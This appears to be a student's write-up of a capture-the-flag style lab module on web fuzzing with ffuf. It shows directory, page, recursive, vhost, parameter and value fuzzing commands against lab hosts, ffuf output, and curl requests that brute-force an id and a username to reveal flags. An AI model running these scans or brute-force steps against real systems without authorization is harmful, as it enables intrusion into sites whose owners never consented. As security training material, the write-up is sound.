Attacking Web Applications with Ffuf

In this module, we dive into the essential skills of web fuzzing and directory brute forcing using the powerful tool Ffuf. These techniques are key to uncovering hidden pages, directories, and parameters that might not be immediately visible on a web application.

By mastering these skills, you’ll gain the ability to map web applications more thoroughly, identify potential entry points, and discover areas that could be vulnerable to further testing. Ffuf provides a fast and flexible way to automate this discovery process, giving you a strong advantage during web penetration tests.

Directory Fuzzing

Now that we’ve grasped the concept of web fuzzing and have our wordlist ready, it’s time to put theory into practice. Using Ffuf, we can begin systematically probing the website to uncover hidden directories and endpoints.

Ffuf allows us to automate the process of sending requests to potential paths from our wordlist and quickly identifies which ones exist, helping us map the structure of the web application efficiently. With this approach, we can uncover directories that might otherwise go unnoticed, giving us a clearer picture of the application’s attack surface.

In addition to the directory we found above, there is another directory that can be found. What is it?

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://94.237.49.23:40555/FUZZ

   __
  / _|  ___   _ __   _   _   ___
 | |_  / _ \ | '_ \ | | | | / __|
 |  _|| (_) || | | || |_| || (__
 |_|   \___/ |_| |_| \__,_| \___|

v2.1.0-dev

:: Method           : GET
:: URL              : http://94.237.49.23:40555/FUZZ
:: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500

blog    [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 212ms]
[REDACTED]         [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 208ms]

Page Fuzzing

Now that we’ve covered the basics of Ffuf—using wordlists and keywords to fuzz directories—it’s time to move on to locating specific pages within a web application.

For consistency, we can use the same target from the previous section for all examples in this part of the lab. This allows us to focus on refining our technique for identifying hidden pages efficiently.

Try to use what you learned in this section to fuzz the ‘/blog’ directory and find all pages. One of them should contain a flag. What is the flag?

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://94.237.50.221:39790/blog/FUZZ.php

   __
  / _|  ___   _ __   _   _   ___
 | |_  / _ \ | '_ \ | | | | / __|
 |  _|| (_) || | | || |_| || (__
 |_|   \___/ |_| |_| \__,_| \___|

v2.1.0-dev

:: Method           : GET
:: URL              : http://94.237.50.221:39790/blog/FUZZ.php
:: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500

home               [Status: 200, Size: 1046, Words: 438, Lines: 58, Duration: 3129ms]
index              [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 31ms]

Open the page

http://94.237.50.221:39790/blog/home.php

Recursive Fuzzing

Up until now, our fuzzing workflow has been fairly linear: first, we fuzz for directories, then we explore each directory, and finally fuzz for files within them. This approach works well for small targets, but imagine having dozens of directories, each containing multiple subdirectories and files—it would quickly become time-consuming.

To speed up the process, we use recursive fuzzing, which automates this step-by-step exploration. Recursive fuzzing allows us to dive into directories automatically, fuzzing subdirectories and files without having to manually run multiple commands. This makes discovering hidden content on a website much faster and more efficient.

Try to repeat what you learned so far to find more files/directories. One of them should give you a flag. What is the content of the flag?

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://94.237.50.221:39790/FUZZ -recursion -recursion-depth 1 -e .php -v

   __
  / _|  ___   _ __   _   _   ___
 | |_  / _ \ | '_ \ | | | | / __|
 |  _|| (_) || | | || |_| || (__
 |_|   \___/ |_| |_| \__,_| \___|

v2.1.0-dev

:: Method           : GET
:: URL              : http://94.237.50.221:39790/FUZZ
:: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Extensions       : .php
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500

[Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 199ms]
  | URL | http://94.237.50.221:39790/forum
  | ->  | http://94.237.50.221:39790/forum/
  * FUZZ: forum

[INFO] Adding a new job to the queue: http://94.237.50.221:39790/forum/FUZZ

[Status: 200, Size: 986, Words: 423, Lines: 56, Duration: 5119ms]
  | URL | http://94.237.50.221:39790/index.php
  * FUZZ: index.php

[Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 5123ms]
  | URL | http://94.237.50.221:39790/blog
  | ->  | http://94.237.50.221:39790/blog/
  * FUZZ: blog

[INFO] Adding a new job to the queue: http://94.237.50.221:39790/blog/FUZZ

[Status: 200, Size: 986, Words: 423, Lines: 56, Duration: 214ms]
  | URL | http://94.237.50.221:39790/
  * FUZZ: 

[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 214ms]
  | URL | http://94.237.50.221:39790/.php
  * FUZZ: .php

[INFO] Adding a new job to the queue: http://94.237.50.221:39790/blog/FUZZ

[Status: 200, Size: 986, Words: 423, Lines: 56, Duration: 214ms]
 | URL | http://94.237.50.221:39790/
 * FUZZ: 

[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 214ms]
 | URL | http://94.237.50.221:39790/.php
 * FUZZ: .php

[INFO] Starting queued job on target: http://94.237.50.221:39790/forum/FUZZ

[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 209ms]
 | URL | http://94.237.50.221:39790/forum/index.php
 * FUZZ: index.php

[Status: 200, Size: 21, Words: 1, Lines: 1, Duration: 209ms]
 | URL | http://94.237.50.221:39790/forum/flag.php
 * FUZZ: flag.php

Open the page

http://94.237.50.221:39790/forum/flag.php

Sub-domain Fuzzing

A subdomain is essentially a website that sits under another domain. For example, https://photos.google.com is the photos subdomain of google.com.

When performing subdomain discovery, we’re basically checking which subdomains exist by seeing if they have a public DNS record that points to a working server IP. This can reveal hidden services, staging environments, or other interesting targets.

To start a subdomain scan, we need two things:

  1. A wordlist – This is a list of common subdomain names we’ll check against the target domain. Luckily, the SecLists repository has a dedicated section for subdomain wordlists (/opt/useful/seclists/Discovery/DNS/). For our initial scan, we’ll use subdomains-top1million-5000.txt. For a more thorough search, larger lists are also available.
  2. A target domain – In this case, our target is inlanefreight.com.

With both in place, we can run our scan and see which subdomains respond—giving us a deeper view into the target’s infrastructure.

Try running a sub-domain fuzzing test on ‘inlanefreight.com’ to find a customer sub-domain portal. What is the full domain of it?

$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u https://FUZZ.inlanefreight.com/

   __
  / _|  ___   _ __   _   _   ___
 | |_  / _ \ | '_ \ | | | | / __|
 |  _|| (_) || | | || |_| || (__
 |_|   \___/ |_| |_| \__,_| \___|

v2.1.0-dev

:: Method           : GET
:: URL              : https://FUZZ.inlanefreight.com/
:: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500

www     [Status: 200, Size: 22266, Words: 2903, Lines: 316, Duration: 302ms]
support [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 263ms]
my      [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 263ms]
ns3     [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 260ms]
blog    [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 302ms]
[REDACTED] [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 322ms]

Filtering Results

Up until now, we haven’t applied any custom filters to our ffuf scans. By default, ffuf automatically filters out 404 Not Found responses and shows the rest.

However, during a scan, it’s common to see many responses returning code 200. Not all of them are interesting or valid, so we need a way to filter the results further to focus on the meaningful ones.

In this section, we’ll explore advanced filtering techniques in ffuf that let us narrow down results based on factors like response size, words, or lines, making our fuzzing results more precise and actionable.

Try running a VHost fuzzing scan on ‘academy.com’, and see what other VHosts you get. What other VHosts did you get?

Open the terminal and edit hosts file

sudo nano /etc/hosts

GNU nano 8.4
127.0.0.1       localhost
127.0.1.1       kali.suricato      kali
94.237.50.221   academy.com

# The following lines are desirable for IPv6 capable hosts
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

Now, use fuff to fuzzing

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.com:39790/ -H 'Host: FUZZ.academy.com' -fs 986

$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.com:39790/ -H 'Host: FUZZ.academy.com' -fs 986

   __
  / _|  ___   _ __   _   _   ___
 | |_  / _ \ | '_ \ | | | | / __|
 |  _|| (_) || | | || |_| || (__
 |_|   \___/ |_| |_| \__,_| \___|

v2.1.0-dev

:: Method           : GET
:: URL              : http://academy.com:39790/
:: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header           : Host: FUZZ.academy.com
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
:: Filter           : Response size: 986

[REDACTED] [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 3869ms]
admin [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 3368ms]


Parameter Fuzzing – GET

When running a recursive ffuf scan on admin.academy.com, we might discover a page like:

http://admin.academy.com:PORT/admin/admin.php

Opening this page, we see a message:

You don’t have access to read the flag text on dark background.

This tells us that the page is protected—it checks whether a user has the right access before revealing the flag. Since we didn’t log in and don’t have a cookie or session identifier, it’s likely that the page expects a key passed as a parameter.

These keys are usually sent via GET or POST HTTP requests. This is where parameter fuzzing comes in. By systematically testing different parameter names and values, we can identify ones that the page will accept.

Pro Tip: Fuzzing parameters is a great way to uncover unpublished or under-tested inputs. These often have weaker security, making them excellent targets for testing web vulnerabilities, as we’ll explore in other modules.

Using what you learned in this section, run a parameter fuzzing scan on this page. What is the parameter accepted by this webpage?

Don’t forgue to put admin.academy.com in your /etc/hosts file.

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u "http://admin.academy.com:43997/admin/admin.php?FUZZ=key" -fs 798

   __
  / _|  ___   _ __   _   _   ___
 | |_  / _ \ | '_ \ | | | | / __|
 |  _|| (_) || | | || |_| || (__
 |_|   \___/ |_| |_| \__,_| \___|

v2.1.0-dev

:: Method           : GET
:: URL              : http://admin.academy.com:43997/admin/admin.php?FUZZ=key
:: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
:: Filter           : Response size: 798

[REDACTED]        [Status: 200, Size: 783, Words: 221, Lines: 54, Duration: 215ms]

[Requests: 6453/6453] :: Job [1/1] :: 195 req/sec :: Duration: [00:34] :: Items: 0 ::

Value Fuzzing

Once we’ve identified a valid parameter on a web page, the next step is to figure out the correct value that will unlock the content we’re after—like a hidden flag.

Fuzzing parameter values works similarly to fuzzing parameter names. The main difference is that instead of testing for which parameter names the server accepts, we are now testing which values are accepted for a given parameter.

The key to successful value fuzzing is having a well-prepared wordlist. By systematically trying each value in the list, we can discover which one returns the desired content.

Pro Tip: This technique is often used to uncover hidden pages, keys, or tokens that developers may have overlooked. Proper wordlist preparation can significantly speed up the process and improve accur

Try to create the ‘ids.txt’ wordlist, identify the accepted value with a fuzzing scan, and then use it in a ‘POST’ request with ‘curl’ to collect the flag. What is the content of the flag?

Create the list from 1 to 1000

for i in $(seq 1 1000); do echo $i >> ids.txt; done

Execute ffuf to find the id number.

$ ffuf -w ids.txt:FUZZ -u http://admin.academy.com:43997/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs 768

   __
  / _|  ___   _ __   _   _   ___
 | |_  / _ \ | '_ \ | | | | / __|
 |  _|| (_) || | | || |_| || (__
 |_|   \___/ |_| |_| \__,_| \___|

v2.1.0-dev

:: Method           : POST
:: URL              : http://admin.academy.com:43997/admin/admin.php
:: Wordlist         : FUZZ: /home/suricato/Documentos/ids.txt
:: Header           : Content-Type: application/x-www-form-urlencoded
:: Data             : id=FUZZ
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
:: Filter           : Response size: 768

73        [Status: 200, Size: 787, Words: 218, Lines: 54, Duration: 206ms]

:: Progress: [1000/1000] :: Job [1/1] :: 192 req/sec :: Duration: [00:00:15] :: Errors: 0 ::

Using the number that we found, execute curl command with a POST

$ curl http://admin.academy.com:43997/admin/admin.php -X POST -d 'id=73' -H 'Content-Type: application/x-www-form-urlencoded'

<div class="center"><p>[REDACTED]</p></div>
<!DOCTYPE html>
<html>
<head>
<title>HTD Academy</title>
<style>
*,
html {
    margin: 0;
    padding: 0;
    border: 0;
}
html {
    width: 100%;
    height: 100%;
}
body {
    width: 100%;
    height: 100%;
    position: relative;
    background-color: darkslategray;

Skills Assessment – Web Fuzzing

Imagine you’ve been given the IP address of an online academy, but nothing else—no domain names, no site map, just the raw IP. As a penetration tester, your first goal is to map out all reachable pages and domains associated with that IP. This step is crucial for building a clear understanding of the target environment and identifying potential entry points.

Once you’ve discovered the pages and domains, the next step is fuzzing. Fuzzing involves testing the pages for parameters that accept user input. By sending different values to these parameters, you can see if any of them reveal hidden information or unexpected behavior.

The objective is simple: find interactive parameters and explore whether they expose any sensitive data or functionality. This forms the foundation for further testing, allowing you to identify vulnerabilities or potential weaknesses in the application.

Run a sub-domain/vhost fuzzing scan on ‘*.academy.com’ for the IP shown above. What are all the sub-domains you can identify? (Only write the sub-domain name)

In the SecLists repo, there is a specific section for sub-domain wordlists, consisting of common words usually used for sub-domains. We can find it in /SecLists/Discovery/DNS/. In our case, we would be using a shorter wordlist, which is subdomains-top1million-5000.txt.

$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://FUZZ.academy.com:30526/

   __
  / _|  ___   _ __   _   _   ___
 | |_  / _ \ | '_ \ | | | | / __|
 |  _|| (_) || | | || |_| || (__
 |_|   \___/ |_| |_| \__,_| \___|

v2.1.0-dev

:: Method           : GET
:: URL              : http://FUZZ.academy.com:30526/
:: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500

:: Progress: [4989/4989] :: Job [1/1] :: 12 req/sec :: Duration: [0:05:17] :: Errors: 4989 ::

Aswe can see, there are no results available. This just means there are no PUBLIC sub-domains, as there is no public sub-domain DNS record.

And this prompts us to try VHosts fuzzing.

$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.com:30526/ -H 'Host: FUZZ.academy.com' -fs 985

   __
  / _|  ___   _ __   _   _   ___
 | |_  / _ \ | '_ \ | | | | / __|
 |  _|| (_) || | | || |_| || (__
 |_|   \___/ |_| |_| \__,_| \___|

v2.1.0-dev

:: Method           : GET
:: URL              : http://academy.com:30526/
:: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header           : Host: FUZZ.academy.com
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
:: Filter           : Response size: 985

[REDACTED]        [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 201ms]
[REDACTED]        [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 3803ms]
[REDACTED]        [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 203ms]

:: Progress: [4989/4989] :: Job [1/1] :: 192 req/sec :: Duration: [0:00:28] :: Errors: 0 ::

Before you run your page fuzzing scan, you should first run an extension fuzzing scan. What are the different extensions accepted by the domains?

GNU nano 8.4
127.0.0.1       localhost
127.0.1.1       kali.suricato      kali
94.237.48.12    academy.com
94.237.48.12    test.academy.com
94.237.48.12    archive.academy.com
94.237.48.12    faculty.academy.com

Most websites, which is index.*, so we will use it as our file and fuzz extensions on it.

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://faculty.academy.com:30526/indexFUZZ

   __
  / _|  ___   _ __   _   _   ___
 | |_  / _ \ | '_ \ | | | | / __|
 |  _|| (_) || | | | || |_| || (__
 |_|   \___/ |_| |_| \__,_| \___|

v2.1.0-dev

:: Method           : GET
:: URL              : http://faculty.academy.com:30526/indexFUZZ
:: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/web-extensions.txt
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500

[REDACTED]        [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 205ms]
[REDACTED]        [Status: 403, Size: 287, Words: 20, Lines: 10, Duration: 464ms]
[REDACTED]        [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 2470ms]

:: Progress: [43/43] :: Job [1/1] :: 18 req/sec :: Duration: [0:00:01] :: Errors: 0 ::

One of the pages you will identify should say ‘You don’t have access!’. What is the full page URL?

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://faculty.academy.com:47701/FUZZ -recursion -recursion-depth 1 -e .php,.php7,.phps -fc 403,404 -v -t 80

   __
  / _|  ___   _ __   _   _   ___
 | |_  / _ \ | '_ \ | | | | / __|
 |  _|| (_) || | | | | |_| || (__
 |_|   \___/ |_| |_| \__,_| \___|

v2.1.0-dev

:: Method           : GET
:: URL              : http://faculty.academy.com:47701/FUZZ
:: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Extensions       : .php,.php7,.phps
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 80
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500

[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 209ms]
 | URL | http://faculty.academy.com:47701/index.php
 * FUZZ: index.php

[Status: 200, Size: 986, Words: 423, Lines: 56, Duration: 216ms]
 | URL | http://faculty.academy.com:47701/index.php
 * FUZZ: index.php

[Status: 301, Size: 337, Words: 20, Lines: 10, Duration: 282ms]
 | URL | http://faculty.academy.com:47701/courses
 | ->  | http://faculty.academy.com:47701/courses/
 * FUZZ: courses

[INFO] Adding a new job to the queue: http://faculty.academy.com:47701/courses/FUZZ

[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 209ms]
 | URL | http://faculty.academy.com:47701/
 * FUZZ: 

[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 175ms]
 | URL | http://faculty.academy.com:47701/courses/index.php
 * FUZZ: index.php

[Status: 200, Size: 21, Words: 1, Lines: 1, Duration: 215ms]
 | URL | http://faculty.academy.com:47701/courses/intro.php
 * FUZZ: intro.php

[Status: 200, Size: 32, Words: 2, Lines: 1, Duration: 214ms]
 | URL | http://faculty.academy.com:47701/courses/syllabus.php
 * FUZZ: syllabus.php

[Status: 200, Size: 986, Words: 423, Lines: 56, Duration: 213ms]
 | URL | http://faculty.academy.com:47701/courses/
 * FUZZ: 

[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 214ms]
 | URL | http://faculty.academy.com:47701/courses/index.php
 * FUZZ: index.php

[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 217ms]
 | URL | [REDACTED]
 * FUZZ: secret.php

In the page from the previous question, you should be able to find multiple parameters that are accepted by the page. What are they?

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://faculty.academy.com:34186/courses/linux-security.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs 728

   __
  / _|  ___   _ __   _   _   ___
 | |_  / _ \ | '_ \ | | | | / __|
 |  _|| (_) || | | | || |_| || (__
 |_|   \___/ |_| |_| \__,_| \___|

v2.1.0-dev

:: Method           : POST
:: URL              : http://faculty.academy.com:34186/courses/linux-security.php
:: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
:: Filter           : Response size: 728

[REDACTED]        [Status: 200, Size: 700, Words: 223, Lines: 53, Duration: 213ms]

:: Progress: [1/1] :: Job [1/1] :: 195 req/sec :: Duration: [00:00:34] :: Items: 0 ::

Try fuzzing the parameters you identified for working values. One of them should return a flag. What is the content of the flag?

$ ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt:FUZZ -u http://faculty.academy.com:34116/courses/linux-security.php -X POST -d 'username=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs 781

   __
  / _|  ___   _ __   _   _   ___
 | |_  / _ \ | '_ \ | | | | / __|
 |  _|| (_) || | | | || |_| || (__
 |_|   \___/ |_| |_| \__,_| \___|

v2.1.0-dev

:: Method           : POST
:: URL              : http://faculty.academy.com:34116/courses/linux-security.php
:: Wordlist         : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
:: Header           : Content-Type: application/x-www-form-urlencoded
:: Data             : username=FUZZ
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
:: Filter           : Response size: 781

harry  [Status: 200, Size: 773, Words: 218, Lines: 53, Duration: 208ms]
Harry  [Status: 200, Size: 773, Words: 218, Lines: 53, Duration: 204ms]

Use a curl command to get the flag

$ curl http://faculty.academy.com:34116/courses/linux-security.php7 -X POST -d 'username=harry' -H 'Content-Type: application/x-www-form-urlencoded'

<div class="center"><p>[REDACTED]</p></div>
<!DOCTYPE html>
<html>
<head>
<title>com Academy</title>
<style>
*,
html {
    margin: 0;
    padding: 0;
    border: 0;
}
html {
    width: 100%;
    height: 100%;
}
body {
    width: 100%;
    height: 100%;
    position: relative;
    background-color: #15103B;